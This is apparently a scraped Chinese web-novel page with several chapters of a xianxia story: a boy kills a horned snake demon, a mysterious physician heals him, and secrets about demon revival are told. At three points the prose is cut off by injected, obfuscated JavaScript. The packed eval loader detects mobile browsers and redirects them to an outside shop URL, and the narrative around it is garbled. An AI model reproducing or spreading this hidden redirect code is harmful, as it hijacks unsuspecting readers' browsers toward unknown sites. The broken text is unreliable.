祁云耀心底笃定:角蛇绝不可能藏在这里,在这的话稍有不慎就会被炸弹波及,它重伤之下,绝不会冒这个险。 那会在哪里? 他眉头拧得更紧,大脑飞速运转: 角蛇不会离战场太远,太远的话,一旦自身遭遇危险,它残存的幻术根本来不及驰援;可也不能太近,太近了,要么会被谢重楼和尹无霜伤到,要么会被失控的巨蛇误撞,以它现在的状态,根本经不起半点折腾。 所以它一定藏在一个安全、隐蔽,却又能近距离掌控全局的地方。 目光追着巨蛇,它所过之处,断木横飞、血肉模糊。 所以——角蛇会藏在断木堆里吗? 念头刚出他就很快否定了这个想法。无头巨蛇横冲直撞,断木被碾来碾去,藏在里面只会再次被误伤,太过冒险。 那到底会在哪里?一个既能够完美躲藏,又能被暗中保护的地方…… 保护? 他猛地将目光投向战场一侧——两颗硕大的蛇头依旧落在地上,狰狞的血肉不断鼓动,正以极其缓慢的速度蠕动再生。 就在那片不断蠕动的阴影里,他凝神细辨,终于看见了一抹细小的灰白身影。 是角蛇! 它藏在双头巨蛇的蛇头阴影里! “大叔!”祁云耀急声叫道,“你放我下去!我要去蛇头那里!” 夏阳眉头紧锁,脚下在树枝间腾跃如风,跑得虎虎生风:“小祖宗诶你去哪干什么啊!” “我有办法解决这些小蛇!全都解决!”祁云耀语气无比笃定,“只要你能悄悄送我过去!” 夏阳瞥了眼身后紧追不舍的蛇潮,又看了眼下方愈演愈烈的战场,犹豫不过刹那,咬牙应下。 “砰砰砰——” 三声炸响骤然撕裂林间寂静,白烟滚滚翻涌,里面还裹着零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177160|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星火光,刺鼻的火油味顺着风飘出老远。小蛇们闻到这气味,纷纷惊恐地嘶鸣后退,不敢再靠近源头。 鏖战中的三人下意识回头望去,林间白雾弥漫,视线模糊不清。 “那是怎么了?”尹无霜心头一紧,转身便要去查探,却被玉蝉伸手拦下。 玉蝉垂眸凝神片刻,轻声道:“三道气息都还在,应当无事。” 话音刚落,地面猛地一震。 那头无首巨蛇的身躯再次疯狂扭动,两颗被斩落的头颅已重新长出大半,粉嫩的新生血肉里,猩红的蛇信已经开始断断续续吐息,眼看就要彻底复原。 而周遭的蛇群似是受到鼓动,竟然变得更加凶狠,不再顾及金光护罩,长着尖牙便攻向三人。 “角蛇不在这里面。”谢重楼断言道。他们方才吸引巨蛇不断碾压就是想查看角蛇是否藏匿在蛇群里,然而并没有。 他手腕翻转斩断几只袭击他的小蛇,目光飘回烟雾弥漫的树林。转头同尹无霜对了个眼神,准备再次攻击巨蛇头部。 可下一瞬,异变陡生。 面前巨蛇体表的鳞光骤然黯淡下去,周身气势疯降;而围在他们四周密密麻麻变得躁动的小蛇群,竟在以肉眼可见的速度一点点虚化、消散,如同退潮般消失无踪。 谢重楼心头猛地一悸,像是被什么无形的丝线牵扯,蓦地回头望去。 只见远处,两颗巨大的蛇头旁,一道小小的身影站在狼藉血土之中。 是祁云耀。 他左臂上赫然被咬出一个狰狞的大窟窿,鲜血浸透衣袖,脸色惨白,却硬是没吭一声。 而他手里死死攥着的,是一条已经死透的通体灰白的蛇。 数息之前。 爆炸余威未散,白烟与火油味在林间炸开,呛得蛇群嘶鸣乱窜、判断大乱。 祁云耀一落地,便借着这层绝佳掩护,压低身子快步冲向那两颗巨蛇头颅。 角蛇蜷缩在蛇头血肉的缝隙里,断角处汩汩淌着生涩腥臭的血。它拼命张大嘴,试图吞噬最后一点残存的幻境力量滋补伤口,却发现那点力量微薄如烛火,连止住断角处的血都做不到。 恨意几乎撑破它残存的神智,角蛇低嘶一声,拼尽余力催动幻术,让蛇群攻势愈发疯狂暴戾。 可下一瞬,它猛地僵住—— 一股熟悉又致命的气息,已经逼近身前! 不等它扭动逃窜,那个亲手削断它一只角的少年,已经骤然出现在身旁。 祁云耀伸手一抓,精准攥住了角蛇冰凉细滑的尾巴。 “嘶嘶——!” 角蛇惊怒交加,猛地转头,獠牙闪着冷光,狠狠咬向祁云耀近在咫尺的手臂。他握着玄铁匕首的手抬起,本想格挡,却在刹那间硬生生顿住。故意没有躲,结结实实被角蛇咬中了手臂。 就是现在! 祁云耀疼得双眼通红,牙关紧咬,将全身力气尽数灌向右臂,手腕猛地一翻——玄铁匕首在昏暗夜色里划出一道寒芒。 “噗嗤——” 一声轻响,角蛇仅剩的那只尖角,应声被齐根削断。 断角落地的瞬间,角蛇的生机如同决堤洪水,飞速消散。它依旧死死咬着祁云耀的 22. 战后 角蛇一死,双头巨蛇瞬间失了所有狂戾,动作瞬间迟滞僵硬。 尹无霜看准时机,纵身掠上,剑光如匹练般横斩而出。 寒光一闪,两颗刚再生一半的蛇头轰然落地。 只是这一次,巨蛇再也没了重生之力,庞大的身躯抽搐数下,便重重砸在大地上,彻底没了声息。 她松了口气,欣喜之余转头想与谢重楼说些什么,却见身旁早已空无一人。 那道身影,正朝着巨蛇头颅的方向狂奔而去。 “云耀!” 谢重楼冲到近前。 只见祁云耀面色惨白无比,却还艰难地扯出一个小小的笑,举起手里死透的角蛇,虚弱又带着点邀功的意味:“我杀掉了角蛇……我……” 话音未落,他唇色愈发惨白,话没能说完,身子便猛地向前一栽。死蛇与玄铁匕首“哐当”落在地上,清脆刺耳。 谢重楼心脏骤然一缩,几乎是本能地伸手将人抱住。 怀中人的体温,低得吓人。 入冬已久,寒风刺骨。他们两人的外衣都留在天机阁的客栈里,此刻只穿着单薄里衣,方才激战一场尚不觉寒冷,此刻一静下来,连他都觉得寒意侵骨,更何况本就是凡胎□□又有暗伤的祁云耀。 谢重楼根本分不清,他究竟是蛇毒攻心,还是冻得快要失去意识。 手足无措,只能将人紧紧抱起,手臂用力,试图用体温温暖他。 尹无霜与玉蝉紧随而至。林间白烟渐渐散尽,夏阳也背着依旧昏迷的肖严谨赶了过来,一见这情景,立刻脱下自己的外袍,慌忙裹在祁云耀身上,可那点暖意,在刺骨寒风里不过是杯水车薪。 “云耀……云耀!” 谢重楼抱着怀中人轻轻晃动,那张向来没什么表情的脸上,罕见的露出明显的慌乱与无措。 可祁云耀双目紧闭,昏死一般,一动不动,连一丝回应都没有。 他猛地抬眼看向尹无霜,声音发紧,带着从未有过的慌张,一遍又一遍的问:“怎么办……怎么办?” 尹无霜眉头紧锁,也无对策,只能看向一旁的玉蝉。 玉蝉双手合十,轻轻摇头,声音轻而无奈:“我不通医术,救不了他。” “祁云耀……祁云耀——” 谢重楼又轻轻晃了晃怀里的人,声音控制不住地发抖,尾音里甚至带上了一丝几不可闻的哭腔,眼眸里一片慌乱。 尹无霜张了张嘴,想说些什么安慰,却也知道此刻任何话语都近乎徒劳,只能默默别开脸,不忍再看。 寒风卷着血腥味与尘土,掠过满地狼藉的战场,也卷过谢重楼怀里那具冰冷而安静的小小身躯。 “好冷啊。诸位凑一块是在取暖吗?” 冷不丁的,一道戏谑又懒洋洋的声音从背后响起,打破了这片死寂的慌乱。 几人猛地回头。 只见林间阴影里,一个裹着漆黑斗篷的小小身影缓缓踱步而出,兜帽压得略低,只露出一截比昏迷的祁云耀还要白的下巴,语气里带着几分看热闹的轻佻。 谢重楼几乎是瞬间绷紧脊背,将祁云耀又抱紧些,另一只手就要按上剑柄,锋利的目光直刺来人。 尹无霜皱了皱眉仔细辨认语气带着几分迟疑,“……花秽芳?” 花秽芳已经慢悠悠走到他们身边,像是刚注意到谢重楼怀里的人一般,夸张地低呼一声:“哎呀!这小孩怎么回事啊!怎么昏成这样啦!” 玉蝉双手合十,上前一步,低声道了句佛号:“阿弥陀佛。花施主出现在此地,是为何故?” “还能为何,被人赶出来了呗。” 花秽芳摊摊手,一脸无所谓,全然不在意谢重楼那几乎要杀人的警惕目光,径直在他身边蹲下身,伸手就要去探祁云耀的脉搏。 谢重楼脸色一冷,立刻侧身要挡。 尹无霜却飞快按住他的肩膀,压低声音急道,“他是药王谷的长老。” 谢重楼动作一顿,重新看向眼前这个之前闯入房间,又被自己打跑的人。没有多余的表情,只立刻收回阻拦的手,直截了当:“请你救救他。” 花秽芳嗤笑一声,指尖悬在祁云耀手腕上方,偏头看他,语气玩味:“你求人就是这个样子?” 尹无霜在一旁急得手心冒汗,恨不得替谢重楼说尽软话,却又不敢乱插嘴。 只见谢重楼沉默一瞬,再次开口,声音比刚才更低更沉:“求你救救他。” 花秽芳闻言咧嘴一笑,忽然故作痛苦地捂住自己之前被打伤的肩膀,夸张地哀嚎一声:“可你方才才伤了我,现在转头就想让我救你的人……天底下哪有这样的好事?” 尹无霜心头一沉,不知两人之间还有这般过节,此刻见花秽芳摆明了不想轻易出手,急得悄悄扯了扯玉蝉的袖口。可玉蝉只是垂眸合十,依旧不动声色。 谢重楼抱着祁云耀的手臂又紧了紧,低头看了一眼怀中人苍白冰凉的脸,再抬眼时,眼底已经隐隐约约染上了红色。 他直视着花秽芳,一字一句,清晰而郑重: “那你要怎么办?只要你救他——我做什么都可以。” “好啊!” 花秽芳立刻笑得眉眼弯弯,一副心满意足的模样,也不说到底要谢重楼做些什么,当即蹲下身。 他从斗篷下摸出三四个小巧的瓶罐,指尖一挑,瓶塞齐齐弹开,倒出几颗颜色各异的药丸,捏着祁云耀的下巴,轻巧地送入他口中,又抬手顺了顺他的喉间,助他咽下药力。 紧接着,他捡起祁云耀方才掉在地上的漆黑匕首,手腕一翻,对准祁云耀手臂上的蛇咬伤口轻轻一划。 黑中泛紫的毒血顺着刀口缓缓渗出,滴落在泥土里。他手法利落,按压、放血、擦净,整套动作行云流水,不过几息之间便全部做完。 末了,还故意呼哧呼哧喘了几口,装作大汗淋漓、耗力极重的模样,他收好匕首,拍了拍手:“哎呀哎呀,真是累死我了!” 可那张即便是孩童模样也能一眼看出将来必定绝色的小脸上,却挂着一丝怎么看都有些诡异的笑意。 花秽芳站起身,把祁云耀往一旁僵立的谢重楼怀里送了送,拖长了语调,笑眯眯提醒:“你可记得你答应我的事哦~” 谢重楼没有应声。 他的目光,早已牢牢锁在怀中人的脸上。 祁云耀的眼睫轻轻颤动了几下,眉头微微蹙起,像是在挣扎着从一片混沌中醒来。下一刻,他缓缓睁开了眼睛,眸中还有几分未散的茫然,显然没弄明白刚才究竟发生了什么。 “醒了……”尹无霜忍不住小声欢呼,下意识拉了拉身旁玉蝉的衣袖,悬着的心终于放下大半。 可玉蝉却没有丝毫喜色。 他缓缓抬起眼眸,那双素来平静无波的眸子,此刻直直落在花秽芳身上,语气清淡,却字字清晰: “贫僧很感激花施主出手救人。不过,若是打着救人的名头,从病人身上偷拿东西……恐怕就不大好了吧?” 花秽芳已经偷偷摸摸往外挪了好几步,闻言脚步猛地一顿,像被钉在了原地。 谢重楼抬眼望他,语气冷硬直接,不带半分迂回:“他身上蛇角不见了,是你拿了吗?” 花秽芳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177161|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻举起双手,摆出一脸无辜又委屈的模样,摇头晃脑:“没有呀没有呀,我怎么会做这种事?我只是个手无缚鸡之力的柔弱医师,你们怎么能这么冤枉人?” 嘴上喊着冤枉,脚下却半点没停,反而一步步往远处退去。 一直插不上话的夏阳终于察觉不对,眉头一竖,刚喝了一声:“喂!” 声音刚落就见花秽芳猛地转身,朝着他先前出来的密林方向撒腿狂奔,由于斗篷下摆太长,绊得他脚步踉跄,却丝毫不影响速度。林间隐隐有华光流转,显然是准备动用秘术遁走。 他要跑! 谢重楼当即就要提剑追上去,手腕却忽然被轻轻拉住。 祁云耀还虚弱得很,脸色依旧苍白,指尖攥着他的衣袖,声音细弱:“别追他……我答应过他,不能追的——” 谢重楼动作一滞。 另一边,尹无霜早已拔剑出鞘,见花秽芳要逃,立刻便要纵身去拦,却被谢重楼反手一把拉住手腕。 “无霜姐。” 尹无霜回头,先是撞进谢重楼那双泛红的眼眶,而后视线下滑落到祁云耀那惨兮兮泛青的小脸,一大一小都可怜巴巴的望着她。再转头重新看了看那个拖着长斗篷跑得跌跌撞撞又十分滑稽却转眼就要没入林间的小身影,终究还是无奈收了剑,转而眼巴巴看向了一旁的玉蝉。 玉蝉只是双手合十,低低念了一声“阿弥陀佛”,便重新垂眸,闭目默念经文,不再多言。 一场追击就此作罢。 几人不再耽搁,一路搀扶着,陆续返回天机阁驻地修整。 好在当初夏阳到此地修筑据点时,生怕多花半分钱,一应事务全都是亲力亲为,半点没劳烦村里百姓。也正因如此,天机阁内的屋舍、水源、灯火,全都能正常供给,不受外界半分影响。 甚至连客栈旁那口井,都是夏阳特意绕了远路,从山上引泉水开凿而成——他死活不肯用村里的井,就怕事后被村民找上门,要平摊打井的费用。 此刻站在干净暖和的屋子里,喝着清冽的山泉水,夏阳忍不住拍着大腿,一脸庆幸地感慨:“还好当年有先见之明啊!” 天边已泛起淡白微光,破晓将近,折腾了一夜的众人都已是强弩之末。夏阳连声招呼众人上楼歇息,自己又往柴房去,捡了干透的柴火,在每位客人的房里都生起暖火,让屋子里慢慢烘得暖和起来,寒意一点点被驱散。 做完这一切他又快步去看了仍在昏睡的肖严谨,向尹无霜玉蝉仔细问了伤势。 得知肖严谨只是被林间寻常菜花蛇所咬,并非那两条妖蛇,这才长长松了口气,悬了半宿的心总算落了地。 祁云耀被谢重楼扶着,重新躺回温暖柔软的大床时,脑袋还有些昏沉发懵。 夜里那场腥风血雨仿佛都只是一场太过真实的噩梦,一睁眼,便只剩屋内暖火轻跳、安静安稳。 他乖乖喝下夏阳端来的温热药汁,苦涩滑入喉间,一股暖意缓缓顺着四肢百骸散开,眼皮却重得像坠了铅,困意铺天盖地涌来。 睡着前的最后一瞬,他迷迷糊糊地揪着被角,脑子里忽然闪过一丝空落——好像有什么很重要的事情,被他忘得一干二净。 是什么事来着? 他想转头问问身边的谢重楼,想扯扯他的衣袖,让他等等再睡。 可侧头一看,谢重楼也已是撑到了极限,眉眼间满是疲惫,就躺在他身边竟也不知不觉睡着了,呼吸轻浅而安稳。 算了……明天再想吧。 祁云耀迷迷糊糊地想着,再也抵不住汹涌的困意,脑袋一歪,也沉沉睡了过去。 23. 妖族 不知过了多久,祁云耀被一阵细碎的窸窣声吵醒。 他迷迷糊糊睁开眼,身边的谢重楼显然也刚被扰醒,眼神还迷离着,抬手胡乱搓了把脸,才慢慢坐起身。 窗外天色已经沉向黄昏,暖橘色的光斜斜洒进来,而那阵轻响还在继续,隐约夹杂着说话声,低低的,听不真切。 祁云耀刚要开口问“是谁在说话?”,就见谢重楼侧耳听了会猛地从床上弹起来,动作快得像阵风,“噌”地扑到床边,探着脑袋往下看,一瞬不瞬。 他被这突如其来的动作吓了一跳,连忙也爬过去,凑在他旁边一起往下看。 楼下不远处,站着两个人。 尹无霜脸颊通红,眉眼间全是羞涩,乖乖立在谢长泽面前,手一会搭在双剑上,一会又放下,是不是还捏捏自己的袖口。 谢长泽背对着他们却看得出来大抵和尹无霜是相同的羞涩,他露出来的耳尖红透了,手脚无措的站着。想要贴近面前人却又不敢,只能偷摸的靠近,然后又像是被什么束缚似的,猛地缩回一点,又情不自禁的靠近,又缩回。如此反复看着十分滑稽。 他们凑得很近,低声说着什么,没说几句就一起低低地笑,笑一会儿又接着说,说完又笑。 两个人都红彤彤的,满带笑意。那种模样仿佛下一秒就会害羞的钻进土里,但偏偏谁都不先走。就好像谁先挪步,谁就输了似的。* 祁云耀看得好奇,小声问谢重楼:“他们在说什么呀?” 身旁的人却只一脸匪夷所思,整颗脑袋都快探出窗沿,全神贯注侧耳偷听,压根没空理他。 偏偏就是这一句轻问,像是惊动了楼下的人——准确说,是惊到了尹无霜。 她猛地抬头,一眼就撞见窗沿上挤着的两颗脑袋。 “啊——!” 她当场惊叫一声,双手死死捂住发烫的脸,慌得更加手足无措,对着谢长泽胡乱鞠了好几个躬,转身落荒而逃,一头扎进了附近树林,连头都不敢回。 谢长泽也是立即回头,见到挂在窗户上的两个的脑袋脸颊红的更加吓人。 祁云耀分明看见,他在看见他们的瞬间,身子明显一僵,眼底也闪过一丝“想跑”的本能。但他却硬生生忍住了,勉强扯出一个礼貌得体的笑,脚下步子却迈得又大又急,几乎也是逃似的,一头钻进了客栈里。 再次相见时,谢长泽已经将异常收拾得妥帖妥当,唯有耳尖与脸颊还残留着淡红,但乍一眼望去,依旧是那位温润如玉、举止有度的翩翩君子。 他推门走入二人房间,先上前一步,仔细查看了祁云耀与谢重楼的气色,温声关切伤势,确认无大碍后,才转头看向祁云耀,语气里带着赞许:“此番还要多些祁小公子及时传信,若非你的传信,我等还不知清巷一带竟藏着如此厉害的妖物。” 祁云耀被他这样夸赞,有些不好意思地低下头。也就在这一瞬,他脑子里那根一直空着的弦忽然绷紧——他终于想起,自己睡前究竟忘了什么事。 是传信。 是他冒险把妖蛇作乱的消息送了出去,引来了谢长泽等人支援。 念及此,祁云耀立刻抬起头,十分紧张连忙追问:“那你……那你有没有把这件事,告诉我爹娘和剑庄的人?” 他和谢重楼,是偷偷溜出来的。若是让父母知晓他深陷妖蛇险境,即便最后邪祟已除,必定也要不顾他的旧伤将他悬在房梁抽上个三天三夜,往后如果再想出门,那就是难如登天了。 谢长泽闻言,脸上温和笑意缓缓收敛,取而代之的是一种少见的严肃。他轻轻握住祁云耀的手,语气郑重:“我正要同你说这件事。” “蛇妖作乱一事,你千万不可对外声张,尤其不能告诉你父母。” 祁云耀猛地一怔,有些不解地睁大眼。 谢长泽却没有直接解释,而是缓缓开口,说起了一段早已被岁月尘封、只在顶尖修士之间流传的旧事: “万古之前,人、妖、灵三族鼎立,天地灵气充沛,修行易如反掌。可后来天道变迁,灵气日渐枯竭,妖、灵两族势力锐减,逐渐隐世;人族修士也再难像上古先辈那样,轻易吸纳灵气、淬炼肉身——这些你应当是知晓的。” 祁云耀轻轻点头,可依旧不明白,这与隐瞒消息有何关联。一旁的谢重楼也抬眼望来,神色认真,显然这些过往,师兄从前并未对他细说。 “半仙的传说,你也不陌生。”谢长泽轻声一笑,语气却异常冷静,“即便身为半仙,我也要说一句大逆不道的——半仙的存在其实是极不合理的,甚至可以说,是搅乱天地秩序的存在。” “天道没落,灵气衰微,按天地平衡之理,人族本该与妖、灵两族一同慢慢走向沉寂。可半仙出现了,以近乎逆天的姿态,强行延续了人族的鼎盛。” “所以大抵是天道为求平衡吧,妖灵两族竟然开始重新复苏。” 他顿了顿:“你想必也能察觉,如今的凡人,比起半仙而言太过弱小。即便是你大哥那样的天骄,修行速度与上限,也比不上后来修炼的重楼。” “事实上,地宗三派之中,除了西门一家还勉强坚守修士道统,其余两派重心,早已不在修道之上。凡人的时代,正在悄悄过去。” “而半仙真正意识到这一点,是在两百年前的血月之战。” “那时大妖乱世,血月邪教祸乱人间,天盟地宗联手抗敌。也正是那一战,让所有半仙看清了凡人的脆弱——他们无力抵挡真正的妖邪,一旦卷入,只会徒增伤亡。” “战后,由你谢青师傅牵头,天盟地宗暗中开了一次小会。就在那次会议上,天盟与地宗达成了一个并未对外公开的共识——” 谢长泽目光一沉,一字一句: “后世但凡涉及妖灵复苏、大妖乱世之事,一律由半仙处置,绝不牵扯凡人修士,更不向凡人家族、凡俗政权通报。” “你父母皆是凡人,即便出身剑庄,也无半仙修为。此事若让他们知晓,只会平白担忧,甚至可能惊动凡俗势力贸然介入,反而酿成更大灾祸。” “所以——”他看着祁云耀,语气放缓,“这件事,你知、我知、重楼知,在场众人知,便足够了。万万不可再向外传。” 祁云耀只觉得脑子里像是被狠狠砸了一拳,无数从未听过的秘闻一股脑全塞了进来,乱得他几乎不会思考,只能怔怔坐在床边,半天回不过神。 谢长泽见他一时消化不了,便不再多言,转而将目光落向一旁的谢重楼。 他似乎是是早就察觉到什么,先是随口问了几句战斗细节,又忽然出其不意地探问伤势,几番追问下来终于找出来谢重楼的受伤之处。 谢长泽又是心疼又是无奈,一边给师弟疗伤敷药,一边期期艾艾地碎碎念,说些什么“重楼是不喜欢师兄了吗?”“重楼长大了啊!”“重楼要是不喜欢师兄的话师兄可以走”之类的酸话。 那语气委屈又哀怨,听得谢重楼头皮发麻,只能一遍又一遍低声保证,日后再有伤势必定第一时间告知,绝不隐瞒。 谢长泽这才满意收了手,像个打了胜仗的人,微微一笑,告辞离去。 房门关上,房间里终于恢复安静。 祁云耀也慢慢缓过神,两人互相扶着穿戴整齐,一同下楼。 刚走到一楼,便撞见去而复返的尹无霜。 她一见两人,脸颊又是“唰”地一红,显然还没忘记方才被撞破的糗事,脚步一转,几乎是立刻就要往门外逃。 “无霜姐姐!” 祁云耀连忙出声叫住她,“一起吃饭吧!” 尹无霜脚步猛地顿住,僵在原地片刻,终究还是慢慢转了回来,低着头,耳根通红,一言不发地在桌边坐下,全程不敢抬眼看两人半分。 祁云耀叫住她,本就不是只为吃饭。 他心里一直惦记着那个神秘古怪的小少年。之前尹无霜一眼便认出对方,显然是知道些什么。 听见祁云耀开口问的不是她和谢长泽的事,尹无霜明显松了口气,无措的神情淡去不少,低头思索片刻,慢慢开口。 “他的事情,大多是我爹以前跟我提过,我自己没怎么和他接触过……不过,他好像可以变成小孩的样子。” “变成小孩?”祁云耀一愣。 “嗯。”尹无霜轻轻点头,“具体是仙缘,还是别的什么,我也不清楚。我上一次见到他的时候,他还是个身形很高大的男子,这次不知为何变成了孩童模样。但他那张脸……实在太过惹眼,让人看一眼就忘不掉,所以我才一眼就认出来是他。” “他怎么好像什么都知道一样?”祁云耀一边往嘴里扒饭,一边含糊问道。 “我也不太清楚。”尹无霜托着腮,认真回想了片刻,又补充道,“不过我听我爹说,他活了很久很久……可能有几千年了。” “这样啊。”祁云耀抱着饭碗,默默低下头,不再说话。 “对了,你们以后没事,千万别去招惹他。”尹无霜忽然正色起来,压低声音提醒,“我还听过一些传言,说他一直在偷偷做各种古怪的实验……你们可别被他抓去当试验品了!” 祁云耀缩了缩脖子,赶紧埋头扒饭,一副生怕被盯上的模样。 谢重楼看了一眼他碗里几乎全是肉,默默伸筷,夹了好几筷子青菜堆进他碗里,语气老成:“祁掌门说过,你必须多吃青菜,不然她就要亲自过来喂你。” 祁云耀立刻伸手护住碗口,紧张兮兮地严防死守,生怕碗里再被蔬菜“攻陷”。 “重楼。”尹无霜忽然开口,眼睛亮晶晶的,“姐姐突然有件事,想问你。” 两人同时抬头看向她。 尹无霜却一下子扭捏起来,磨蹭了半天也没说出一个字,最后干脆双手捂住脸,仿佛这样才能攒起全部勇气。 她的声音又轻又细,带着颤抖:“你师兄……他有没有喜欢的人啊?” 谢重楼微微一怔,心里觉得有些奇妙——前阵子刚有人给他解释过什么叫“喜欢”,怎么才过没多久,就接连有人问起这个词。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巨大的落差砸得她眼前发黑,尹无霜再也绷不住,也顾不上什么形象,直接捂着脸,当场就呜呜地哭了起来,哭得又委屈又凄惨。 祁云耀嘴里的饭还没咽下去,鼓着腮帮子愣住。 他刚才听谢重楼乱报一通,心里就隐隐觉得哪里不对劲,可还没等他找出问题所在,尹无霜已经直接开嚎。 她哭得实在太响亮,连后厨都被惊动。 夏阳手里还抄着锅铲,肖严谨捏着一把没择完的青菜,两人一前一后急匆匆从灶房冲出来,一脸紧张地盯着哭得撕心裂肺的尹无霜,又看看对面手足无措、一脸茫然的两个小孩,当场懵在原地。 不等他们上前询问,尹无霜突然猛地一拍桌子。 “砰——” 碗碟震得叮当乱响,几碟小菜都被震得飞起来半寸,又狼狈落回桌面。她猛地抬起一张满是泪痕的花脸,不知是在吼给自己听,还是怎么。 扯开嗓子大叫:“不就是喜欢大家闺秀嘛!我怎么就不是大家闺秀啦!啊啊啊!” 一声怒吼震得似乎屋子都在颤,话音未落,她抓起桌边的双剑,转身就风风火火冲出了客栈。 屋内瞬间安静下来,只留下几道面面相觑的人影,你看我、我看你,谁都没敢出声。 两人吃完饭,便慢悠悠回了房间。 早早洗漱完毕,双双躺回床上,屋里只留一盏微弱的灯火,暖融融的。 祁云耀躺着躺着,脑子里又忍不住想起刚才尹无霜又哭又吼、冲出门去的模样,心里轻轻一动。 他悄悄侧过身,伸手扯了扯谢重楼的衣袖。 谢重楼转过头,正好对上他亮晶晶、满是期待的眼神。 祁云耀压低声音,轻声问:“那你呢?你喜欢什么类型的人?” 他故意没说“姑娘”两个字,心底藏着一点点小小的、不敢明说的私心。 要是谢重楼说喜欢自己……那该多好啊。 可下一秒,就听谢重楼认真想了想,一本正经道:“我喜欢练剑,所以我喜欢练剑的?” 他瞬间垮下脸,嘴巴微微瘪起,不依不饶地追着问:“还有吗?还有吗?” 谢重楼皱着眉认真思索了一会儿,忽然反问:“我没有的东西,但我很喜欢……也算吗?” “算的算的!当然算!”祁云耀连忙点头,眼睛都亮了几分。 “那……”谢重楼顿了顿,轻声说,“我应该喜欢眼睛漂亮的吧。” 说完这句,他便像是想完了所有答案,一脸笃定,再没别的话。 这可把祁云耀愁坏了,他凑得更近,急急忙忙追问:“你说的眼睛漂亮,是哪种漂亮啊?是像肖严谨那样眼睛圆圆的、大大的,还是像花秽芳那样,眼尾往上翘的呀?” 谢重楼盯着他,忽然把脑袋一蒙,裹紧被子,死活不吭声了。 祁云耀急得不行,干脆坐起身,伸手轻轻推他的背:“你快说啊!告诉我嘛!” 谢重楼被他缠得没法,终于缓缓翻过身,一抬眼,就直直对上祁云耀那双焦急又明亮的眼睛——瞳孔黑黑润润,睫毛又长又密,一眨一眨的,十分漂亮。 他沉默了一瞬,猛地又转回身去,把脸埋在枕头里,声音闷闷的:“我不告诉你!” “谢重楼!!” 24. 锻剑 次日一早,天盟众人将清巷一带彻底探查完毕,谢长泽才把最终结果,简略说与谢重楼与祁云耀知晓。 原来,清巷这个地方,在外地的舆图上,根本就不存在。唯一有的便是一藏在山林间的一个长约百米的蛇洞。 所谓的村落、田舍、往来村民,乃至鸡犬牲畜,全都是由另一只角蛇以妖力幻化出来的幻境。 而之前被祁云耀亲手斩杀的那只小角蛇,应当是刚破壳不久,凭着血脉气息寻到此处,与盘踞山洞里的双头蛇达成了默契——双头蛇作为角蛇的助力吞噬幻境滋补妖躯,而角蛇则是以幻境支撑,给予双头蛇以不死的身躯。 若不是祁云耀与谢重楼恰好途经此地、撞破此事,等到双头蛇彻底吞掉清巷幻境、毁去天机阁驻地,外界恐怕直到很久以后,都不会有人察觉这里曾发生过一场大祸。 真相明了,众人也不便多留。 谢长泽率天盟修士先行折返复命,只叮嘱二人路上小心,尹无霜和玉蝉继续游历四方打磨心性。夏阳的驻地被毁便跟着肖严谨回去总部,准备着日后东山再起,祁云耀与谢重楼也收拾行装,踏上了回家的路。 冬日的林间尚有残霜,两人一左一右,紧紧挨着前行,影子在地上靠得极近。 祁云耀垂眸看了看自己的手臂。 当初被角蛇一口咬穿的窟窿,此刻竟已收口结痂,愈合速度远非凡人肉身所能企及。想来是花秽芳那几颗看似随手喂下的丹药古怪,竟能让凡人短暂拥有近乎仙躯的自愈之力。 不止外伤,连之前被谢重楼失手震出的内伤,也在以惊人的速度好转,照这般下去,至多一个月,便能彻底痊愈。 他心底,悄然浮起一丝不安。 伸手轻轻拽住谢重楼一侧衣袖,脚步不自觉放慢,心脏在胸腔里怦怦乱撞。他只能胡乱扯个话题,掩去自己的慌张: “所以……还有一只角蛇,藏在世间?” “不能确定。”谢重楼声音平静,“角蛇身死之后,它所布下的幻术,仍能在世间存续许久,时长全凭其生前修为。能布出这样浩大幻境,且历经数十载而不灭,这只角蛇,少说也有千年道行。” 他顿了顿,语气肯定:“千年大妖本就稀少,师兄与天盟诸位长老商议过后,大多认定,它便是当年血月一战中,被正道联手斩杀的那只。” “原来如此。”祁云耀轻轻点头。 血月一战的细节,他其实不甚清楚,想来是当年天盟与地宗合力镇压,将消息封锁严密。他不愿多问,也不敢多问,只目光轻轻一转,忽然抛出了另一个问题—— “等我好了……你是不是,立刻就要走?” 谢重楼明显一怔,脚步骤然顿住,转头看向他。 四目相对。 两个人眼里是不同的情绪。祁云耀的眼底是忐忑,是期盼,还有他自己都说不清楚的怯意;而谢重楼的目光里,却翻涌着他读不懂的东西。 空气像是被冻住了一瞬。 见他久久不语,祁云耀喉间发涩,又轻声重复了一遍: “等我痊愈,你是即刻回去,还是……会留在西门?” 谢重楼依旧沉默。 他缓缓移开视线,下颌线条绷得极紧,喉结轻轻滚动,只发出一声几不可闻的低哑咕哝。眉峰蹙起,像是有千言万语堵在胸口,可每当视线再度撞上祁云耀的眼睛,那些话便又硬生生咽了回去。 良久,他才艰涩地开口,声音很低: “我……可以不说吗?” 只这一句,祁云耀便已懂了答案。他强装不在意道:“当然可以啊。” 实际上心里难过极了。 